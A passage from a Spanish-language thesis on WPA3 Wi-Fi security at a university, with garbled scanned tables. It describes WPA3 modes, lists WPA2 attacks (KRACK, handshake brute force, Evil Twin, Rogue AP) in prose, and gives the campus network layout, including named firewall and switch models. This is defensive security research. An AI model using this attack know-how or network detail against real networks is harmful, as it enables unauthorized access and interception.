compatibles con el protocolo WPAS3, ademas es requerido la proteccion de marco de
administracion (MFP) tanto para los AP’s y para los clientes que operan en este modo

(Dijksman et al., 2021).

» WHPAZ3-Personal Transicion

Este modo permite a los usuarios una retrocompatibilidad con versiones anteriores
como WPAZ2-Personal, permitiendo a los clientes que usen WPA2-Personal todavia puedan
conectarse al mismo SSID que los clientes WPA3-Personal. En este caso los clientes usan la
misma contrasefia para la conexion, pero los clientes WPA2 con autenticacion PSK y los

clientes WPA3 con autenticacion SAE (Coleman & Westcott, 2021).

Debilidad del modo de transicion WPA3. Al momento de utilizar el modo de configuracién
de transicion en WPAS3 es logico que también hereda las debilidades de protocolos anteriores,
dado que se utilizara este modo ampliamente para la compatibilidad, es decir los dispositivos
WPAZ2 aun son susceptibles a ataques de fuerza bruta fuera de linea, por lo que una
contrasefia podria verse comprometida por un atacante experto para conseguir el acceso
ilegalmente (Kallel & Cuppens, 2020). Ademas, el uso de este modo tanto en WPA3-
Personal como en WPA3-Empresarial significa que los clientes heredados probablemente no

se encuentren usando MFP (Coleman & Westcott, 2021).

En la Figura 22, se puede observar como los administradores pueden optar por
habilitar o deshabilitar el modo de transicion WPA3-Personal, sin embargo, es probable que
el modo de transicion se utilice mucho debido a la gran cantidad de clientes que se admiten

con la seguridad WPA2 (Coleman & Westcott, 2021).
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Figura 22
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Nota. Tomado de Certified Wireless Network Administrator Study Guide (p. 759), por Coleman

y Westcott, 2021, SYBEX.
=  WPA3-Empresarial

A diferencia de WPA3-Personal, en WPA3-Empresarial todavia se aprovecha
802.1X/EAP para realizar la autenticacion, es decir la autenticacion a nivel empresarial sigue
siendo la misma, pero presenta dos mejoras principales como la compatibilidad con MFP y
un modo criptografico mejorado (Coleman & Westcott, 2021). WPA3-Empresarial define

tres modos de funcionamiento:
» WPAS3-Solo para Empresas

Para este caso la autenticacion 802.1X/EAP utilizada es la misma, sin embargo, este
modo puede estar habilitado en el caso de todos los clientes sean compatibles con WPA3,
dado que se necesita la proteccion de marco de administracion (MFP) tanto en clientes como

en la configuracion del AP (Coleman & Westcott, 2021).
» WPAS3-Empresarial Transicion

En este modo de transicién es permitido la compatibilidad con versiones anteriores de

WPA2-Empresarial, permitiendo de esta manera la conectividad de clientes WPA2-
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Empresarial con el mismo SSID que los clientes WPA3-Empresarial. La autenticacion

802.1X/EAP sigue siendo la misma y se sigue utilizando MFP (Coleman & Westcott, 2021).

» WPA3-Empresarial 192 bits

Este modo puede ser implementado en entornos empresariales sensibles como
requisitos de seguridad mas elevados y asi proteger las redes Wi-Fi como el gobierno, la
defensa e industria. Este modo es opcional que utiliza protocolos de seguridad de fuerza
minima de 192 bits con herramientas criptograficas mejoradas para proteger los datos
confidenciales (Coleman & Westcott, 2021). En este modo se presentan los siguientes

requisitos:

o GCMP/AES de 256 bits para cifrar tramas de datos en lugar de CCMP/AES estandar
cifrado de 128 bits.
o Se requiere proteccion del marco de administracion (MFP).

o EAP-TLS se utiliza como protocolo de autenticacion.

Los siguientes requisitos adicionales se aplican a todos los modos de WPA3-

Empresarial:

o Laseguridad WPA heredada no es compatible.

o No hay soporte compatible con versiones anteriores para WEP o TKIP.

Otro componente importante en WPAS3 es la compatibilidad con la transicion BSS
rapida (FT), también denominada mecanismos de itinerancia o roaming seguro rapido
802.11r. Dado que los mecanismos FT se encuentran relacionados con la seguridad, es
considerado como un componente de certificacion opcional para todos los dispositivos WPA

con certificacion Wi-Fi (Coleman & Westcott, 2021).
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WPAZ continla en constante progreso, actualizaciones recientes de WPA3-
Empresarial incluyen validaciones de certificados de servidor para clientes que usan métodos
EAP-TTLS, EAP-TLS, EAP-PEAPV0 y EAP-PEAPV1. La validacion del certificado del
servidor WPA3-Empresarial requiere que el dispositivo cliente valide el certificado del
servidor RADIUS antes de que se pueda acceder a la red, esto ayuda a prevenir ataques de

intermediarios (Coleman & Westcott, 2021).

2.7.6. Vulnerabilidades de WPA2

WPAZ2 a pesar de ser el protocolo por excelencia en seguridad en las redes
inaldmbricas actuales y ser ampliamente utilizado en el mundo, no se encuentra exento de
posibles ataques y vulnerabilidades potenciales capaces de quebrantar el protocolo. Estas
debilidades se abarcan en la Tabla 4 conocidas referentes al protocolo WPA2 conocidos hasta
la fecha, con un total de dieciséis de los cuales se puede obtener las credenciales de acceso y
de esta manera obtener datos importantes del usuario mediante ataques de fuerza bruta o
ataques de diccionario contra contrasefias débiles, algunas de estas son mas complicadas
como la explotacion de fallos en procesos de autenticacion, incluso se puede exponer lared a
ataques de suplantacion llegando a la intercepcién y manipulacion del trafico existente en la

red (Janos & Barnabas, 2018).

Tabla 4

Vulnerabilidades de WPA2

N° Ataque Impacto del ataque
Ataque de reinstalacion de clave Intercepcién y manipulacion del trafico entre
(KRACK) el cliente y el AP.
2 Ataque de diccionario Obtencion de contrasefas.

3 Ataque de fuerza bruta Obtencion de contrasefias.
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4 Ataque de reautenticacion

Exposicidn de trafico cifrado a potenciales

ataques.

5  Ataque de suplantacion (Rogue AP)

Intercepcidn y manipulacion del trafico de la

red.

Ataques de inyeccion y manipulacion

de trafico

Inyeccion de paquetes maliciosos y

manipulacion.

Ataques de fuerza bruta basados en
handshake

Captura del handshake entre el cliente y el
AP.

Ataques de deteccion de reconexion

(Reassociation Detection Attacks)

Degradacion de la calidad de conexién o

interrupcién de la comunicacion.

Ataques de desautenticacion y

Desautenticacion y desasociacion de

10 desasociacién dispositivos legitimos.

11 Ataques de captura y reenvio Captura de trafico cifrado y reenvio.
Ataque de inundacion de tramas Congestion de la red, agotamiento de

e beacon/probe recursos y DoS

13 Ataque de sniffer de paquetes Monitoreo de la actividad

14 Ataque de suplantacion MAC Falsificacion de dispositivo autorizado

Nota. Tomado de A Wireless Intrusion Detection System for 802.11 WPA3 Networks (p. 2),

por Dalal Y Gupta et al., 2021.

2.7.7. WPA2 vs WPA3

Gracias a la evolucién de las tecnologias de seguridad en redes inaldmbricas ha

llevado a Wi-Fi Alliance a la introduccion de un nuevo protocolo conocido como WPAS3 con

mejoras significativas referente a su predecesor, y como se explica en el apartado anterior

WPAZ2 consta de ciertas vulnerabilidades por lo que surge tener un protocolo mas robusto el

cual aborde de mejor manera la proteccion en areas claves y agregando una capa adicional de

seguridad una de la cuales es el cambio de método de autenticacion dado que WPAZ utiliza el
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intercambio de claves precompartidas (PSK) por lo que si el usuario utiliza una contrasefia
débil con un ataque de fuerza bruta o de diccionario puede ser descubierta facilmente, en
contraste WPAZ3 utiliza la autenticacion simultanea de iguales (SAE) o también conocido
como Dragonfly el cual protege a los clientes contra ataques de adivinanza de contrasefias

ofreciendo una autenticacion mas solida sin importar que la contrasefia del usuario sea débil.

De igual manera WPA3 implementa contramedidas hacia ataques de desautenticacion
y reautenticacion entre dispositivos y el AP, dado que WPA2 ha demostrado ser susceptible
hacia estos ataques lo que abre la puerta a mas ataques de intermediario, siendo incluso que
WPAZ3 proporciona un cifrado mucho mas fuerte y proteccién individualizada para cada
dispositivo conectado a la red lo que se traduce a que si un dispositivo en la red se ve

comprometido no se pondré en riesgo a toda la red sino solamente al dispositivo.

Por lo que se tiene una tabla comparativa entre las vulnerabilidades de WPA2 y si en
WPAZ3 se puede realizar los diferentes ataques, tal como se ilustra en la Tabla 5 se tiene una
lista de ataques posibles a los protocolos de seguridad los cuales producen diferentes tipos de
impacto en la red como denegacién de servicio, suplantacion de identidad, obtencion de
contrasefias o informacion, intercepcion de datos y retransmisién, teniendo como resultado
que el nuevo protocolo de autenticacion tiene mucha mayor seguridad y teniendo en la

mayoria de vulnerabilidades inmunidad (Dalal et al., 2021).

Tabla b

Comparativa de vulnerabilidades de WPA2 y WPA3

N° Ataque Impacto del ataque WPA2 WPA3

Ataque DoS (Denial of » o ]
] Denegacion de servicio Si Inmune
Service)




o1

_ Si, pero
) Monitoreo o captura del ) )
2 Sniffer de paquetes o Si tiene
trafico en lared

SAE
. Suplantacion de identidad en ) )
3 Suplantacion de MAC Si Si
la red
o ) Obtencidn de contrasefias e ) )
4 Ataques de diccionario Si Imposible

informacion

y Si, pero Si, pero

Obtencion de contrasefias e ) )

5 Ataques de fuerza bruta ) . tomara tomara
informacion . .

tiempo décadas

L Interrumpir comunicaciones
Desautenticacion por fuerzas - ] _ _ No es
6 y permitir al cliente asociarse  Posible )
externas _ posible
a un AP no autorizado

Captura y desencripta
7 Ataques KRACK comunicaciones Si No

confidenciales

Muy
L Interceptar datos y v
10 Ataque de repeticion - ~ fuerte IV
retransmitir Secuencia _
Secuencia

_ _ Obtencién de claves y ) )
11 Ataques Evil Twin ] Si Imposible
credenciales

12 Ataques contra WPS Obtencion de informacion Si No

Nota. Tomado de WLAN Security Protocols and WPA3 Security Approach Measurement

Through Aircrack-ng Technique (p. 29), por Baray y Kumar, 2021, IEEE.
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3. CAPITULO 3: DESARROLLO EXPERIMENTAL

En el capitulo anterior se consolidd un estado del arte sélido como un comienzo para
el andlisis del nuevo protocolo de autenticacion WPAS3, asi como de las vulnerabilidades
encontradas en el transcurso del tiempo desde su salida oficial, se utilizara la etapa de hacer
en este capitulo dado que se realizara en un ambiente controlado y a pequefia escala con
actividades necesarias para mejorar la seguridad realizando medidas de calidad y se recopilan
los datos correspondientes. En este capitulo se pretende dar criterios de disefio adecuados
para analizar mas a fondo cada una de ellas con el fin de dar posibles soluciones y tener una

seguridad robusta para definir un acceso seguro a los usuarios de la red universitaria.

3.1.  Metodologia de la Investigacion

En este proyecto se utiliza el ciclo Deming (PHVA) en la que cada etapa depende de
la anterior por lo que se tiene un proceso progresivo que se enfoca en la solucion de
problemas y el continuo mejoramiento identificando las fallas existentes, al final
replanteando un nuevo disefio de seguridad que anule el actual problema evitando que vuelva
a repetirse consiguiendo resultados favorables basados en la mejora continua y la innovacion.
En este capitulo esta enfocado en la etapa de hacer ya que se pondra a prueba el nuevo
protocolo de autenticacion WPA3 realizando pruebas necesarias para ganar eficacia y de esta
manera lograr corregir facilmente los posibles errores, ademas esto se lo realizara en
ambientes controlados sin que se vea afectada las operaciones de la universidad, siendo lo
mas importante en esta etapa el recolectar la informacidn de las pruebas, necesarias para la

siguiente etapa del proyecto.

3.2. Estado Actual de la Red
En este momento, la UTN oferta treinta y seis carreras de grado distribuidas en cinco
unidades académicas: Facultad de Ingenieria en Ciencias Aplicadas (FICA), Facultad de

Ciencias Administrativas y Econdmicas (FACAE), Facultad de Educacién Ciencia 'y
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Tecnologia, (FECYT), Facultad de Ciencias Agropecuarias y Ambientales (FICAYA), y
Facultad de Ciencias de la Salud (FCCSS). También cuenta con el Instituto de Posgrado, el

cual oferta varios programas de maestria (UTN, 2023).

La red actual de la UTN consta de un disefio jerarquico para optimizar el ancho de
banda, esto para que el trafico de red se mantenga a un nivel local y no se propague
innecesariamente, este modelo consta de tres capas diferentes una capa de nucleo, una capa

de distribucion y una capa de acceso tal como se observa en la Figura 23.

La capa de nucleo representa la capa troncal de alta velocidad entre las redes dispersas
aqui se tiene un router de borde que se encuentra ubicado en el Edificio Central suministrado
por el proveedor de internet Telconet que va conectado a un switch 3750 a su vez conecta a
un firewall CISCO ASA 5520 el cual interconecta a un switch NEXUS 5548 que da
conectividad a los servidores y a un equipo EXINDA 4761 que se encarga de administrar el

ancho de banda.

La capa de distribucion se utiliza para enviar el trafico de una red local hacia otra,
aqui se tiene un switch de nucleo primario SW 4510 que esta conectado a un switch de
nucleo secundario SW 4503 ambos ubicados en el edificio central utilizados para la

propagacion de VLANS.

La capa de acceso es la encargada de proporcionar la conectividad a los usuarios, en
esta capa se tiene dos equipos de conmutacion SW 4506 ubicados en la facultad de ingenieria
en ciencias aplicadas y otro en la facultad de ciencias administrativas y economicas. Tres
equipos de conmutacion SW 3850 ubicados en la facultad de ciencias de la salud otro en la
facultad de educacion, ciencia y tecnologia y el ultimo en la facultad de ingenieria en ciencias
agropecuarias y ambientales. Un equipo de conmutacién SW 3750 en el edificio de

postgrados. Cuatro equipos de conmutacion SW 2960 ubicados en el instituto de educacion
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fisica, en la biblioteca, bienestar universitario y el tltimo en el auditorio Agustin Cueva.
Finalmente existen extensiones de la universidad como el colegio universitario, campus san
Vicente de Padl, campus granja la Pradera, campus forestal Yuyucocha, campus planta Textil

y centro infantil universitario.

Figura 23

Modelo jerarquico UTN

SERVIDOR DE TELEFONiA COLEGIO UNIVERSITARIC
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CAMPUS SAN VICENTE DE PAUL

SW CISCO 3350

CAMPUS GRANJA LA PRADERA
SW CISCO 3850

CISCO ASA 5520

CAMPUS FORESTAL YUYUCOCHA
SW CISCO 56-200

EXINDA 4781

CAMPUS PLANTA TEXTIL
SW CISCO 2060
T .
==

CENTRO INFANTIL UNIVERSITARIO
SW 3COM

SW 4503 - CORE C } g - EDIFICO CENTRAL SW 3850
SECUNDARIO LAN CONTROLLER 5508 HA
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CAPA DISTRIBUCION

 FCCSS Sw 3850 FECYT 5w 3850 FOSGRADOS Sw 3750
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BIBLIOTECA Sw 2960

=

VIANLAB. 172.17.00X
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VLAN ADM. 17216 XX
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VLAN WIRELESS. 172 17X X

Nota. Tomado de la Direccion de Desarrollo Tecnolégico e Informatico

El presente trabajo sera enfocado en la Facultad de Ingenieria en Ciencias Aplicadas
con el objetivo de mejorar significativamente la conectividad y la seguridad en la red
inalambrica que se tiene actualmente, por lo que se tiene una tecnologia estable como lo es
802.11ac que ofrece velocidades de transferencia de datos mas rapidas con mayor ancho de
banda, sobre todo la implementacion WPA3 que es el ultimo protocolo de seguridad para

redes inalambricas la cual fortalecera la proteccion de datos reduciendo las vulnerabilidades.
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3.3.  Requerimientos de la Red Inalambrica

Los requerimientos de una red inaldmbrica en un entorno universitario deben
garantizar una cobertura amplia, ancho de banda suficiente, seguridad robusta, fiabilidad,
escalabilidad y administracion sencilla. Estos requerimientos son esenciales para satisfacer
las necesidades y expectativas de la comunidad educativa, que requiere conectividad
inalambrica de alta calidad para el aprendizaje, la investigacion y la comunicacion. En la
Tabla 6 se observan los requerimientos de la red con una prioridad la cual puede variar segun
las necesidades especificas de la institucion y del entorno, y que deben ser analizados

cuidadosamente para poder disefiar e implementar una red inaldmbrica 6ptima.

Tabla 6

Tabla de requerimientos

N° Requerimiento Descripcion Prioridad

Permite la interconexion
y de equipos de red por lo )
1 Conexidn a la red troncal _ o Esencial
tanto brinda servicios a la

red inalambrica.

Son un conjunto de
especificaciones técnicas y
reglas que rigen la
2 Estandar comunicacion y la Esencial
interoperabilidad entre
dispositivos y sistemas de

comunicacion inalambrica.

Es la calidad de servicio
3 Rendimiento desde el punto de vista del | Esencial

usuario inalambrico.




Area geografica en la que

Area de cobertura se dispone el servicio de Esencial
red.
) Puntos de conexion de )
NUmero de nodos o . Esencial
varios dispositivos de red.
Permite la proteccion
Seguridad necesaria a la red Esencial
inaldmbrica de un atacante.
Permite cambiar
) automaticamente de una ]
Roaming o Esencial
red inalambrica débil a una
maés fuerte.
Permite el acceso
o inalambrico a nuevos )
Crecimiento a futuro ) _ Opcional
usuarios o estudiantes que
ingresen a la facultad.
Filtra informacion sobre la )
Ataque Krack B Esencial
contrasefia
Ataque de Fuerza
Bruta Basado en | Obtencion de credenciales | Esencial
Handshake
Ataque Evil Twin Robo de informacion Esencial
Vulnerabilidades |~ Ataque Rogue AP Robo de contrasefias Esencial
Ataque de
Diccionario y Obtencion de credenciales | Esencial
Fuerza Bruta
Ataque de »
L Genera denegacion de )
Desautenticacion y Esencial

Desasociacion

servicio
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Ataque de
Inyecciény N ] . ]
_ . Alteracion de informacion | Esencial
Manipulacion de

Trafico

Ataque de N
» Genera confusion a los
Inundacion de ) .
clientes al tratar de Esencial
Tramas )
encontrar el AP legitimo
beacon/probe

Ataque de Captura _, o )
] Intercepcion de trafico Esencial
y Reenvio

Ataque de Sniffer y ) )
Intercepcion y monitoreo Esencial
de Paquetes

Ataque de

_, Suplantacion de identidad | Esencial
Suplantacion MAC

3.3.1. Conexion a la Red Troncal

La red cableada regida por la norma IEEE 802.3 es la columna vertebral de la red
inalambrica ya que es la que interconecta los dispositivos ayudando a brindar servicios en
espacios de gran tamafio como universidades, la infraestructura de la red cableada se debe
encontrar en éptimas condiciones de tal forma que al implementar la red inalambrica
proporcione movilidad y flexibilidad a los usuarios inaldmbricos, esto debido a que el
rendimiento de la red inalambrica va a depender de la red cableada ya instalada en la
universidad tal como se puede observar en la Figura 24 y Figura 25 se tiene la topologia
fisicay légica de la red de la FICA-UTN, en la que se tiene un equipo de conmutacién SW
QPCom el cual va conectado a los enlaces de radio que brindan el servicio de red

inalambrico.
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Figura 24

Topologia fisica FICA-UTN
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SW 3COM ;
Laboratorio 6
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Nota. Tomado de la Direccion de Desarrollo Tecnolégico e Informatico

Figura 25

Topologia légica FICA-UTN
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Router Board 1100

Red WIFI
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3COM
[~ []

Laboratorio 4

SW 3COM

Laboratorio 6

Laboratorio 8  Laboratorio 9

Nota. Tomado de la Direccion de Desarrollo Tecnoldgico e Informatico
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3.3.2. Estandar

El estdndar va a definir los protocolos de transmision, frecuencias de operacion,
modulacion, seguridad y otros aspectos relacionados con la transmision de datos y la
conectividad inalambrica. Al utilizar 802.11ac o Wi-Fi 5 en el proyecto se puede tener
velocidades teoricas de 1300 [Mbps], ademas este estandar trabaja con la banda de 5 [GHZz]
alcanzando mayores velocidades de trabajo, aunque a un mayor distanciamiento menor
rendimiento, esto dependera de la modulacion utilizada y de los flujos espaciales que son

la cantidad de datos unicos que puede transmitir un AP.

3.3.3. Rendimiento

El rendimiento de la red va referenciado a la calidad del servicio que debe tener el
usuario inalambrico al usar la red, este rendimiento va acompafiado de diferentes factores
para su medicion como lo es el ancho de banda, velocidad y la disponibilidad ademas de esto
va a depender de la cantidad de usuarios inalambricos que se tengan al mismo tiempo,
actualmente la facultad consta con un nimero de estudiantes que se puede observar en la
Tabla 7, pero no siempre se encuentran utilizando la red al mismo tiempo por lo que el
promedio de personas que utilizan la red inalambrica en la FICA se puede observar en la
Figura 26 tomado en una hora por la mafiana en el transcurso de un dia normal de clases en
un periodo académico, o como también se puede observar en la Figura 27 se tiene un pico

méaximo de 600 clientes aproximadamente.

Tabla 7

Numero de estudiantes FICA

Facultad Género Nro. Estudiantes
FICA Femenino 426
Masculino 1509

TOTAL --- 1935
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Figura 26

Clientes simultaneos FICA

FICA

FICA

Nota. Tomado de la Direccion de Desarrollo Tecnoldgico e Informatico

Figura 27

Contador de clientes sobre el tiempo

Client Count Over Time
Trend of connected clients and their health distribution over time
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Nota. Tomado de la Direccion de Desarrollo Tecnolégico e Informatico

Al momento de proveer un servicio de internet se verifica las necesidades del usuario,
como se observa en la Figura 28, donde se tiene que el mayor porcentaje de uso en la
tecnologia estandarizada SSL con un 39.58% que permite cifrar el trafico de datos entre un
navegador web y un sitio web, protegiendo asi la conexidn, la necesidad de acceder a la red
para redes sociales se lleva un 11.52% de uso, como fuente de informacién con un 7.41%,

para servicios de streaming o videos en general con un 7.02%, servicios de Microsoft con un
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5.06% Y otros servicios ocupando el resto, esto sirve como una pauta para las prioridades y

limitaciones de uso de ancho de banda para los usuarios de la red inalambrica de la facultad.

Figura 28

Tipo de tréafico en la red

Servicios de ubicacion de Apple 0.50 128,3 MB 4,6 MB 123,7 MB

Nota. Tomado de la Direccion de Desarrollo Tecnolégico e Informatico

Por lo que en la Tabla 8 se va a verificar cuanto ancho de banda real que se necesita
para que las aplicaciones funcionen de una manera correcta sin interrupciones para esto existe
un ancho de banda minimo necesitado por cada usuario, esto tomando los datos anteriormente
mencionados con una aproximacion de personas que hacen uso de la red diariamente y de las
aplicaciones mas utilizadas por los usuarios, es improbable que todos los estudiantes vayan a
estar utilizando la red al mismo tiempo y mucho menos utilizar todas las aplicaciones en

simultaneo.



Tabla 8

Ancho de banda
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Ancho de banda minimo

Aplicacion ]
por usuario
Web 1 [Mbps]
Correo Electrénico 1 [Mbps]
Redes Sociales 1 [Mbps]
Uso General
Llamadas VolP 500 [Kbps]
Descarga de archivos 10 [Mbps]
Radio en linea 500 [Kbps]
Transmision de video de
. 3 - 4 [Mbps]
definicion Estandar
Video
Transmision de video de
o 5 - 8 [Mbps]
definicion Alta (HD)
Llamadas de video
) 1 [Mbps]
personales estandar (Skype)
Video Conferencia Llamadas de video
1.5 [Mbps]
personales HD
Videoconferencia HD 6 [Mbps]
Gaming Multijugador en linea 4 [Mbps]

Nota. Tomado de MedUX, 2020.

Gracias a estos datos se puede estimar el ancho de banda necesario que se debe tener

en la FICA para no tener fallas ni inconvenientes. De la totalidad de estudiantes que son 1935

en la FICA se va a aplicar un factor de simultaneidad de 0.3, es decir que el 30% del total de

usuarios utilizaran el servicio al mismo tiempo. Se podran conectar 581 usuarios a la misma
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hora y simultdneamente de los 1935 que se estima tener en la red que es un valor similar al
valor obtenido por el DDTI. Tomando en cuenta que el ancho minimo es de 500 [Kbps] vy el
maximo de 8 [Mbps] multiplicado por el promedio de usuarios que se tiene a diario, dando
como resultado el ancho de banda minimo de 290,5 [Mbps] y un maximo de 4,648 [Gbps]
suponiendo que se utilice cada aplicacion a la vez, realizando un promedio de ancho de banda
por usuario que necesita da como resultado de 2,875 [Mbps] multiplicado por los clientes
simultaneos da un total de 1.67 [Gbps], la red consta de 3000 [Mbps] o 3 [Gbps]

proporcionado por CEDIA lo cual seria suficiente para abastecer la demanda en la red.

3.3.4. Area de Cobertura

Para la planeacién de la red inaldmbrica es necesario analizar las areas destinadas para
brindar el servicio esto dependiendo de los usuarios que necesitan el acceso inalambrico. Para
este anélisis se debe tomar en cuenta el disefio del edificio, asi como los materiales utilizados
en la construccion de este debido a que la sefial de radiofrecuencia debe poder superarlos, el
trafico la cantidad de los usuarios del edificio, la calidad que pueden esperar y las zonas que

necesitan la cobertura de la red.

Los AP’s se encuentran ubicados en la mejor ubicacion posible con un nivel de sefial
que puede llegar a las distintas areas de la facultad, con la ayuda del software Cisco DNA
Center Network Management se puede seleccionar el tipo de caracteristicas similares o
iguales a las reales, para el caso de la investigacion se pondra énfasis en la Facultad de
Ingenieria en Ciencias Aplicadas (FICA) la cual consta de 5 plantas con una longitud de
37.90 [m] y un ancho de 17.40 [m] cada una, para conseguir la cobertura total de la red
inalambrica se pone a disposicion los planos de la facultad con sus diferentes areas de trabajo
de esta manera lograr establecer las caracteristicas generales de la red inalambrica con el fin

de determinar los diferentes dispositivos y herramientas que seran necesarias para la creacion
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de la red. En este punto se tiene una red con equipamiento Unicamente switches, en donde se

utiliza vlans para la segmentacion de la red.

La red cuenta con tres puntos de acceso ubicados estratégicamente para cubrir todas
las areas de la institucion en cada piso de la facultad como se observa en la Figura 29. El
protocolo de seguridad utilizado es WPA2-Enterprise con autenticacion mediante un servidor
RADIUS, que permite la gestion centralizada de las credenciales de acceso de los usuarios.
Se ha configurado una VLAN especifica para la red inaldmbrica, lo que permite separar el
trafico de la red inalambrica del tréfico de la red cableada. Actualmente se tiene un ancho de
banda de 3000 MB para Internet proporcionado por CEDIA. Se ha habilitado la tecnologia de
roaming entre los puntos de acceso, lo que permite a los usuarios moverse libremente por las
distintas areas de la institucion sin perder la conexion a la red inalambrica. Se ha configurado
un sistema de gestion y monitoreo de la red inalambrica que permite identificar y solucionar
problemas de conectividad, asi como llevar un registro del uso de la red por parte de los

usuarios.

Figura 29

Puntos de acceso en la FICA
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Nota. Tomado de la Direccion de Desarrollo Tecnoldgico e Informatico
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3.3.5. Numero de Nodos

Para determinar el nimero de nodos que se debe tener en cada piso de la facultad se
debe lograr una disposicion de las celdas que logren alcanzar toda la infraestructura de la
facultad, para ello es necesario asignar canales de radio de forma que no exista interferencia
entre celdas cercanas la ventaja de trabajar con frecuencias de 5GHz es que los canales no se
solapan entre si al utilizar varios canales a la vez, otra situacion es en la que se tengan varios
puntos de acceso que formen celdas superpuestas en un mismo piso y de esta manera toda el
area de cobertura sea cubierta con una potencia considerable, tal como se obtuvo con el punto
anterior el nimero de nodos para cubrir el area total es de tres nodos por cada piso de la

facultad.

La capacidad méaxima que ofrece cada punto de acceso segun la norma IEEE 802.11ac
para equipos que utilizan MIMO es de 1.3 [Gbps] brutos, que resultan ser 800 [Mbps] netos
si se elimina las cabeceras de radio y la securizacion. Por tanto, el reparto de carga entre

puntos de acceso debe ser equilibrado, es necesario:

Ny = S27OMEPS _ ) g puntos de A = 2 Puntos de A 802.11
AP — 800Mbp5 = 4 untos ae Acceso = untos de Acceso en dlac

3.3.6. Seguridad de la Red

Para el apartado de seguridad en redes inaldmbricas se tienen varios inconvenientes
como escuchas ilegales, acceso no autorizado, usurpacion y suplantacion de identidad,
interferencias aleatorias, ataques, etc. Debido a malas arquitecturas o por los métodos de
seguridad implementados, ademas se utilizara el protocolo de autenticacion para garantizar la
seguridad de la WLAN para la FICA es WPA2-Enterprise como mecanismo de cifrado que
ya se encuentra disponible en dispositivos inalambricos actuales, las medidas y politicas de
seguridad son orientadas a brindar proteccion al acceso de los recursos de la red consiguiendo

con esto el famoso triangulo CIA garantizando la confidencialidad, integridad y
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disponibilidad a toda hora de la informacion tal como se observa en la Figura 30. Estas
medidas son para proteger el acceso a los usuarios con credenciales y por consiguiente se esta

protegiendo la informacién de la institucion.

Figura 30

Parametros de seguridad
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VEZ quE inicie sesidn

3.3.7. Roaming

Para el apartado del roaming se debe tener una comunicacion interrumpida entre
nodos al momento de que los clientes inaldmbricos se desplacen afuera de la zona de
cobertura del AP principal e ingresen a la zona de cobertura del otro AP secundario, para lo
cual ambos AP’s deben tener una superposicion de aproximadamente el 15% entre sus radios
de cobertura, el tiempo de interrupcion del roaming puede reducirse al minimo con las
configuraciones correctas como lo es tener con el mismo nombre SSID, las contrasefias de
red y los canales usados en los AP’s. Por lo general en una red inaldmbrica tener una sefial de
-30[dBm] es tener una sefial perfecta, el umbral en el que deberia entrar la sefial del
dispositivo es en el valor de -70[dBm] donde buscara otros destinos para realizar el roaming.
Gracias al software inSSIDer se puede verificar que en la red “eduroam” se tiene configurado

el apartado de roaming, como se puede observar en la Figura 31 en la informacion
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recolectada aparece el nimero de radios (42) con el mismo SSID de “eduroam”, lo inico que
varia en los demas AP’s es la configuracion del ancho de canal de trabajo y el canal de

frecuencia seleccionado para evitar interferencias como lo ilustra la Figura 32.

Figura 31
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Figura 32
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3.3.8. Crecimiento a Futuro

Como vision a futuro del crecimiento de la red en la facultad se pretende una mejora
constante respecto a los servicios inalambricos ofrecidos para los usuarios que son los
principales beneficiaros, por lo que se requiere una red inalambrica que contribuya al
crecimiento académico de los estudiantes con el apoyo tecnologico adecuado, la red se
encuentra estructurada para un crecimiento grande en los proximos afios por lo que no
existiria inconvenientes al momento de algin incremento en el caso de los usuarios

inalambricos.
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3.3.9. Vulnerabilidades

1.- Ataque de reinstalacion de clave (KRACK)

El ataque KRACK (Key Reinstallation Attack) es un tipo de ataque de seguridad
informatica que afecta a las redes Wi-Fi protegidas por WPA (Wi-Fi Protected Access Il),
WPAZ2 que es uno de los protocolos de seguridad mas utilizados en redes inalambricas. En
este ataque, el agresor aprovecha una vulnerabilidad en el proceso de establecimiento de
claves de cifrado, lo que le permite interceptar y manipular el tréfico de red y, en algunos
casos, inyectar codigo malicioso en la red. Con este ataque, el agresor puede robar
informacion confidencial, como contrasefias y datos de usuario, e incluso realizar ataques de
tipo man-in-the-middle. El ataque KRACK fue descubierto en 2017 y afect6 a una gran
cantidad de dispositivos Wi-Fi en todo el mundo. El ataque se realiza en el Anexo 1.

2.- Ataque de Fuerza Bruta Basado en Handshake

El ataque de fuerza bruta basado en handshake es una estrategia maliciosa que intenta
explotar una vulnerabilidad en el proceso de autenticacién de redes inalambricas protegidas
por el protocolo WPA/WPAZ2. En este tipo de ataque el agresor intercepta el intercambio de
mensajes de handshake entre un dispositivo cliente y el punto de acceso a la red. Una vez
capturados estos mensajes, el atacante intenta descifrar la clave de seguridad utilizando una
serie de combinaciones de contrasefias, en un proceso automatizado y repetitivo. A medida
que las claves son probadas, el atacante compara los resultados con el handshake capturado,
buscando una coincidencia. Si la contrasefia correcta es encontrada, el atacante obtiene
acceso no autorizado a la red, poniendo en riesgo la confidencialidad de los datos
transmitidos y la seguridad de la red en su conjunto. Este tipo de ataque destaca la
importancia de emplear contrasefias robustas y complejas, asi como implementar medidas de

seguridad adicionales, como autenticacion de dos factores y la adopcion de protocolos de
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seguridad mas avanzados como WPAS3, que es menos vulnerable a este tipo de ataques. El
ataque se realiza en el Anexo 2.

3.- Ataque de Gemelo Malvado (Evil Twin)

El ataque de Gemelo Malvado, también conocido como Evil Twin, es una téctica de
ciberataque en el &mbito de las redes inaldmbricas que involucra la creacién de una réplica
falsa y engafiosa de una red Wi-Fi legitima. En este escenario, un atacante configura
intencionadamente un punto de acceso inalambrico falso con un nombre de red (SSID) y
configuracién idénticos a los de una red genuina. Los usuarios pueden conectarse
inadvertidamente a esta red falsa, creyendo que estan accediendo a una red de confianza. Sin
embargo, una vez conectados, el atacante puede interceptar y monitorear el trafico de datos,
llevar a cabo ataques de tipo man-in-the-middle, o incluso solicitar credenciales de inicio de
sesion falsas. El ataque se realiza en el Anexo 3.

4.- Atague de Suplantacion (Rogue AP)

El ataque Rogue AP en WPAZ2 se refiere a la creacion de un punto de acceso
inalambrico malicioso por parte de un atacante, con el fin de engafiar a los usuarios para que
se conecten a él en lugar de al punto de acceso legitimo. El ataque se basa en que el atacante
crea un punto de acceso con el mismo nombre de SSID que el punto de acceso legitimo, lo
que hace que los dispositivos méviles y computadoras se conecten automéaticamente a él. Una
vez conectados, el atacante puede interceptar y espiar la comunicacion entre el dispositivo y
lared, o incluso redirigir el trafico a sitios web maliciosos para realizar ataques de phishing.
El ataque se realiza en el Anexo 4.

5.- Ataque de Diccionario y Fuerza Bruta

El ataque de Diccionario y Fuerza Bruta son enfoques de ciberataque dirigidos a

obtener acceso no autorizado a sistemas o cuentas mediante la prueba sistematica de
